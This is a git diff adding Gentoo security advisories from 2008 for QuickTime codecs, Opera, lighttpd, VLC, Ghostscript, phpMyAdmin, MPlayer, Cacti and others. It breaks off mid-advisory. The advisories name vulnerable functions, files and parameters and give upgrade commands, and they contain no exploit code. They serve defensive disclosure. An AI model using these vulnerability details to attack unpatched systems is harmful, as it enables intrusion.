+    Multiple buffer overflow, heap overflow, and integer overflow
+    vulnerabilities were discovered in the Quicktime plugin when processing
+    MOV, FLC, SGI, H.264 and FPX files.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted video
+    file, possibly resulting in the remote execution of arbitrary code with
+    the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Win32 binary codecs users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/win32codecs-20071007-r2&quot;</code>
+    <p>
+    Note: Since no updated binary versions have been released, the
+    Quicktime libraries have been removed from the package. Please use the
+    free alternative Quicktime implementations within VLC, MPlayer or Xine
+    for playback.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4382">CVE-2006-4382</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4384">CVE-2006-4384</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4385">CVE-2006-4385</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4386">CVE-2006-4386</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4388">CVE-2006-4388</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4389">CVE-2006-4389</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4674">CVE-2007-4674</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6166">CVE-2007-6166</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 13 Nov 2007 22:48:06 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 13 Nov 2007 22:48:15 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 29 Feb 2008 10:44:06 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200803-09.xml b/xml/htdocs/security/en/glsa/glsa-200803-09.xml
new file mode 100644
index 00000000..748fc653
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200803-09.xml
@@ -0,0 +1,74 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200803-09">
+  <title>Opera: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in Opera, allowing for file
+    disclosure, privilege escalation and Cross-Site scripting.
+  </synopsis>
+  <product type="ebuild">opera</product>
+  <announced>March 04, 2008</announced>
+  <revised>March 04, 2008: 01</revised>
+  <bug>210260</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/opera" auto="yes" arch="*">
+      <unaffected range="ge">9.26</unaffected>
+      <vulnerable range="lt">9.26</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Opera is a fast web browser that is available free of charge.
+    </p>
+  </background>
+  <description>
+    <p>
+    Mozilla discovered that Opera does not handle input to file form fields
+    properly, allowing scripts to manipulate the file path (CVE-2008-1080).
+    Max Leonov found out that image comments might be treated as scripts,
+    and run within the wrong security context (CVE-2008-1081). Arnaud
+    reported that a wrong representation of DOM attribute values of
+    imported XML documents allows them to bypass sanitization filters
+    (CVE-2008-1082).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to upload a file with a known
+    path by entering text into a specially crafted form, to execute scripts
+    outside intended security boundaries and conduct Cross-Site Scripting
+    attacks.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Opera users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/opera-9.26&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1080">CVE-2008-1080</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1081">CVE-2008-1081</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1082">CVE-2008-1082</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 26 Feb 2008 10:02:38 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 26 Feb 2008 10:02:54 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 02 Mar 2008 22:56:26 +0000">
+    keytoaster
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200803-10.xml b/xml/htdocs/security/en/glsa/glsa-200803-10.xml
new file mode 100644
index 00000000..5ef0c99e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200803-10.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200803-10">
+  <title>lighttpd: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in lighttpd.
+  </synopsis>
+  <product type="ebuild">lighttpd</product>
+  <announced>March 05, 2008</announced>
+  <revised>March 05, 2008: 01</revised>
+  <bug>211230</bug>
+  <bug>211956</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-servers/lighttpd" auto="yes" arch="*">
+      <unaffected range="ge">1.4.18-r2</unaffected>
+      <vulnerable range="lt">1.4.18-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    lighttpd is a lightweight high-performance web server.
+    </p>
+  </background>
+  <description>
+    <p>
+    lighttpd contains a calculation error when allocating the global file
+    descriptor array (CVE-2008-0983). Furthermore, it sends the source of a
+    CGI script instead of returning a 500 error (Internal Server Error)
+    when the fork() system call fails (CVE-2008-1111).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit these vulnerabilities to cause a Denial
+    of Service or gain the source of a CGI script.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All lighttpd users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-servers/lighttpd-1.4.18-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0983">CVE-2008-0983</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1111">CVE-2008-1111</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 02 Mar 2008 13:11:03 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 02 Mar 2008 22:33:25 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 04 Mar 2008 21:56:43 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200803-11.xml b/xml/htdocs/security/en/glsa/glsa-200803-11.xml
new file mode 100644
index 00000000..fd2b65a5
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200803-11.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200803-11">
+  <title>Vobcopy: Insecure temporary file creation</title>
+  <synopsis>
+    Vobcopy uses temporary files in an insecure manner, allowing for a symlink
+    attack.
+  </synopsis>
+  <product type="ebuild">vobcopy</product>
+  <announced>March 05, 2008</announced>
+  <revised>March 05, 2008: 01</revised>
+  <bug>197578</bug>
+  <access>local</access>
+  <affected>
+    <package name="media-video/vobcopy" auto="yes" arch="*">
+      <unaffected range="ge">1.1.0</unaffected>
+      <vulnerable range="lt">1.1.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Vobcopy is a tool for decrypting and copying DVD .vob files to a hard
+    disk.
+    </p>
+  </background>
+  <description>
+    <p>
+    Joey Hess reported that vobcopy appends data to the file
+    "/tmp/vobcopy.bla" in an insecure manner.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could exploit this vulnerability to conduct symlink
+    attacks and append data to arbitrary files with the privileges of the
+    user running Vobcopy.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Vobcopy users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/vobcopy-1.1.0&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5718">CVE-2007-5718</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 04 Mar 2008 14:25:49 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 04 Mar 2008 22:37:51 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 04 Mar 2008 22:38:00 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200803-12.xml b/xml/htdocs/security/en/glsa/glsa-200803-12.xml
new file mode 100644
index 00000000..5b5ad44a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200803-12.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200803-12">
+  <title>Evolution: Format string vulnerability</title>
+  <synopsis>
+    A format string error has been discovered in Evolution, possibly resulting
+    in the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">evolution</product>
+  <announced>March 05, 2008</announced>
+  <revised>March 05, 2008: 01</revised>
+  <bug>212272</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-client/evolution" auto="yes" arch="*">
+      <unaffected range="ge">2.12.3-r1</unaffected>
+      <vulnerable range="lt">2.12.3-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Evolution is a GNOME groupware application.
+    </p>
+  </background>
+  <description>
+    <p>
+    Ulf Harnhammar from Secunia Research discovered a format string error
+    in the emf_multipart_encrypted() function in the file mail/em-format.c
+    when reading certain data (e.g. the "Version:" field) from an encrypted
+    e-mail.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted
+    encrypted e-mail, potentially resulting in the execution of arbitrary
+    code with the privileges of the user running Evolution.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Evolution users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/evolution-2.12.3-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0072">CVE-2008-0072</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 05 Mar 2008 20:09:16 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 05 Mar 2008 21:00:40 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 05 Mar 2008 21:00:49 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200803-13.xml b/xml/htdocs/security/en/glsa/glsa-200803-13.xml
new file mode 100644
index 00000000..fc2d50b9
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200803-13.xml
@@ -0,0 +1,100 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200803-13">
+  <title>VLC: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities were found in VLC, allowing for the execution of
+    arbitrary code and Denial of Service.
+  </synopsis>
+  <product type="ebuild">vlc</product>
+  <announced>March 07, 2008</announced>
+  <revised>March 07, 2008: 01</revised>
+  <bug>203345</bug>
+  <bug>211575</bug>
+  <bug>205299</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-video/vlc" auto="yes" arch="*">
+      <unaffected range="ge">0.8.6e</unaffected>
+      <vulnerable range="lt">0.8.6e</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    VLC is a cross-platform media player and streaming server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities were found in VLC:
+    </p>
+    <ul>
+    <li>Michal Luczaj
+    and Luigi Auriemma reported that VLC contains boundary errors when
+    handling subtitles in the ParseMicroDvd(), ParseSSA(), and
+    ParseVplayer() functions in the modules/demux/subtitle.c file, allowing
+    for a stack-based buffer overflow (CVE-2007-6681).</li>
+    <li>The web
+    interface listening on port 8080/tcp contains a format string error in
+    the httpd_FileCallBack() function in the network/httpd.c file
+    (CVE-2007-6682).</li>
+    <li>The browser plugin possibly contains an
+    argument injection vulnerability (CVE-2007-6683).</li>
+    <li>The RSTP
+    module triggers a NULL pointer dereference when processing a request
+    without a "Transport" parameter (CVE-2007-6684).</li>
+    <li>Luigi
+    Auriemma and Remi Denis-Courmont found a boundary error in the
+    modules/access/rtsp/real_sdpplin.c file when processing SDP data for
+    RTSP sessions (CVE-2008-0295) and a vulnerability in the
+    libaccess_realrtsp plugin (CVE-2008-0296), possibly resulting in a
+    heap-based buffer overflow.</li>
+    <li>Felipe Manzano and Anibal Sacco
+    (Core Security Technologies) discovered an arbitrary memory overwrite
+    vulnerability in VLC's MPEG-4 file format parser (CVE-2008-0984).</li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could send a long subtitle in a file that a user is
+    enticed to open, a specially crafted MP4 input file, long SDP data, or
+    a specially crafted HTTP request with a "Connection" header value
+    containing format specifiers, possibly resulting in the remote
+    execution of arbitrary code. Also, a Denial of Service could be caused
+    and arbitrary files could be overwritten via the "demuxdump-file"
+    option in a filename in a playlist or via an EXTVLCOPT statement in an
+    MP3 file.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All VLC users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/vlc-0.8.6e&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6681">CVE-2007-6681</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6682">CVE-2007-6682</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6683">CVE-2007-6683</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6684">CVE-2007-6684</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0295">CVE-2008-0295</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0296">CVE-2008-0296</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0984">CVE-2008-0984</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 05 Mar 2008 21:55:08 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 07 Mar 2008 18:42:04 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200803-14.xml b/xml/htdocs/security/en/glsa/glsa-200803-14.xml
new file mode 100644
index 00000000..fc3ede17
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200803-14.xml
@@ -0,0 +1,89 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200803-14">
+  <title>Ghostscript: Buffer overflow</title>
+  <synopsis>
+    A stack-based buffer overflow has been discovered in Ghostscript, allowing
+    arbitrary code execution.
+  </synopsis>
+  <product type="ebuild">ghostscript</product>
+  <announced>March 08, 2008</announced>
+  <revised>March 08, 2008: 01</revised>
+  <bug>208999</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/ghostscript-esp" auto="yes" arch="*">
+      <unaffected range="ge">8.15.4-r1</unaffected>
+      <vulnerable range="lt">8.15.4-r1</vulnerable>
+    </package>
+    <package name="app-text/ghostscript-gpl" auto="yes" arch="*">
+      <unaffected range="ge">8.61-r3</unaffected>
+      <vulnerable range="lt">8.61-r3</vulnerable>
+    </package>
+    <package name="app-text/ghostscript-gnu" auto="yes" arch="*">
+      <unaffected range="ge">8.60.0-r2</unaffected>
+      <vulnerable range="lt">8.60.0-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ghostscript is a suite of software based on an interpreter for
+    PostScript and PDF.
+    </p>
+  </background>
+  <description>
+    <p>
+    Chris Evans (Google Security) discovered a stack-based buffer overflow
+    within the zseticcspace() function in the file zicc.c when processing a
+    PostScript file containing a long "Range" array in a .seticcscpate
+    operator.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit this vulnerability by enticing a user
+    to open a specially crafted PostScript file, which could possibly lead
+    to the execution of arbitrary code or a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Ghostscript ESP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/ghostscript-esp-8.15.4-r1&quot;</code>
+    <p>
+    All Ghostscript GPL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/ghostscript-gpl-8.61-r3&quot;</code>
+    <p>
+    All Ghostscript GNU users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/ghostscript-gnu-8.60.0-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0411">CVE-2008-0411</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 02 Mar 2008 15:25:45 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 02 Mar 2008 15:25:54 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 05 Mar 2008 20:06:31 +0000">
+    psychoschlumpf
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200803-15.xml b/xml/htdocs/security/en/glsa/glsa-200803-15.xml
new file mode 100644
index 00000000..8a6e3c5f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200803-15.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200803-15">
+  <title>phpMyAdmin: SQL injection vulnerability</title>
+  <synopsis>
+    A SQL injection vulnerability has been discovered in phpMyAdmin.
+  </synopsis>
+  <product type="ebuild">phpmyadmin</product>
+  <announced>March 09, 2008</announced>
+  <revised>March 09, 2008: 01</revised>
+  <bug>212000</bug>
+  <access>local</access>
+  <affected>
+    <package name="dev-db/phpmyadmin" auto="yes" arch="*">
+      <unaffected range="ge">2.11.5</unaffected>
+      <vulnerable range="lt">2.11.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    phpMyAdmin is a free web-based database administration tool.
+    </p>
+  </background>
+  <description>
+    <p>
+    Richard Cunningham reported that phpMyAdmin uses the $_REQUEST variable
+    of $_GET and $_POST as a source for its parameters.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    An attacker could entice a user to visit a malicious web application
+    that sets an "sql_query" cookie and is hosted on the same domain as
+    phpMyAdmin, and thereby conduct SQL injection attacks with the
+    privileges of the user authenticating in phpMyAdmin afterwards.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All phpMyAdmin users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-db/phpmyadmin-2.11.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1149">CVE-2008-1149</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 05 Mar 2008 09:53:35 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 07 Mar 2008 08:44:33 +0000">
+    psychoschlumpf
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 07 Mar 2008 10:05:31 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200803-16.xml b/xml/htdocs/security/en/glsa/glsa-200803-16.xml
new file mode 100644
index 00000000..b66893c1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200803-16.xml
@@ -0,0 +1,83 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200803-16">
+  <title>MPlayer: Multiple buffer overflows</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in MPlayer, possibly allowing
+    for the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">mplayer</product>
+  <announced>March 10, 2008</announced>
+  <revised>March 10, 2008: 01</revised>
+  <bug>208566</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-video/mplayer" auto="yes" arch="*">
+      <unaffected range="ge">1.0_rc2_p25993</unaffected>
+      <vulnerable range="lt">1.0_rc2_p25993</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MPlayer is a media player incuding support for a wide range of audio
+    and video formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    The following errors have been discovered in MPlayer:
+    </p>
+    <ul>
+    <li>Felipe Manzano and Anibal Sacco (Core Security Technologies)
+    reported an array indexing error in the file libmpdemux/demux_mov.c
+    when parsing MOV file headers (CVE-2008-0485).</li>
+    <li>Damian Frizza
+    and Alfredo Ortega (Core Security Technologies) reported a boundary
+    error in the file libmpdemux/demux_audio.c when parsing FLAC comments
+    (CVE-2008-0486).</li>
+    <li>Adam Bozanich (Mu Security) reported boundary
+    errors in the cddb_parse_matches_list() and cddb_query_parse()
+    functions in the file stream_cddb.c when parsing CDDB album titles
+    (CVE-2008-0629) and in the url_scape_string() function in the file
+    stream/url.c when parsing URLS (CVE-2008-0630).</li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to open a specially crafted file,
+    possibly resulting in the execution of arbitrary code with the
+    privileges of the user running MPlayer.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All MPlayer users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/mplayer-1.0_rc2_p25993&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0485">CVE-2008-0485</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0486">CVE-2008-0486</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0629">CVE-2008-0629</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0630">CVE-2008-0630</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 19 Feb 2008 20:10:11 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 19 Feb 2008 20:13:04 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 07 Mar 2008 23:38:09 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200803-17.xml b/xml/htdocs/security/en/glsa/glsa-200803-17.xml
new file mode 100644
index 00000000..5366f3ff
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200803-17.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200803-17">
+  <title>PDFlib: Multiple buffer overflows</title>
+  <synopsis>
+    Multiple stack-based buffer overflows have been reported in PDFlib.
+  </synopsis>
+  <product type="ebuild">pdflib</product>
+  <announced>March 10, 2008</announced>
+  <revised>March 10, 2008: 01</revised>
+  <bug>203287</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/pdflib" auto="yes" arch="*">
+      <unaffected range="ge">7.0.2_p8</unaffected>
+      <vulnerable range="lt">7.0.2_p8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PDFlib is a library for generating PDF on the fly.
+    </p>
+  </background>
+  <description>
+    <p>
+    poplix reported multiple boundary errors in the pdc_fsearch_fopen()
+    function when processing overly long filenames.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send specially crafted content to a vulnerable
+    application using PDFlib, possibly resulting in the remote execution of
+    arbitrary code with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PDFlib users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/pdflib-7.0.2_p8&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6561">CVE-2007-6561</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 08 Mar 2008 16:26:44 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 10 Mar 2008 12:46:32 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 10 Mar 2008 12:46:45 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200803-18.xml b/xml/htdocs/security/en/glsa/glsa-200803-18.xml
new file mode 100644
index 00000000..40e13b5a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200803-18.xml
@@ -0,0 +1,81 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200803-18">
+  <title>Cacti: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities were discovered in Cacti.
+  </synopsis>
+  <product type="ebuild">cacti</product>
+  <announced>March 10, 2008</announced>
+  <revised>May 28, 2009: 02</revised>
+  <bug>209918</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/cacti" auto="yes" arch="*">
+      <unaffected range="ge">0.8.7b</unaffected>
+      <unaffected range="rge">0.8.6j-r8</unaffected>
+      <vulnerable range="lt">0.8.7b</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Cacti is a web-based network graphing and reporting tool.
+    </p>
+  </background>
+  <description>
+    <p>
+    The following inputs are not properly sanitized before being processed:
+    </p>
+    <ul><li>"view_type" parameter in the file graph.php, "filter" parameter
+    in the file graph_view.php, "action" and "login_username" parameters in
+    the file index.php (CVE-2008-0783).</li>
+    <li>"local_graph_id" parameter in the file graph.php
+    (CVE-2008-0784).</li>
+    <li>"graph_list" parameter in the file graph_view.php, "leaf_id" and
+    "id" parameters in the file tree.php, "local_graph_id" in the file
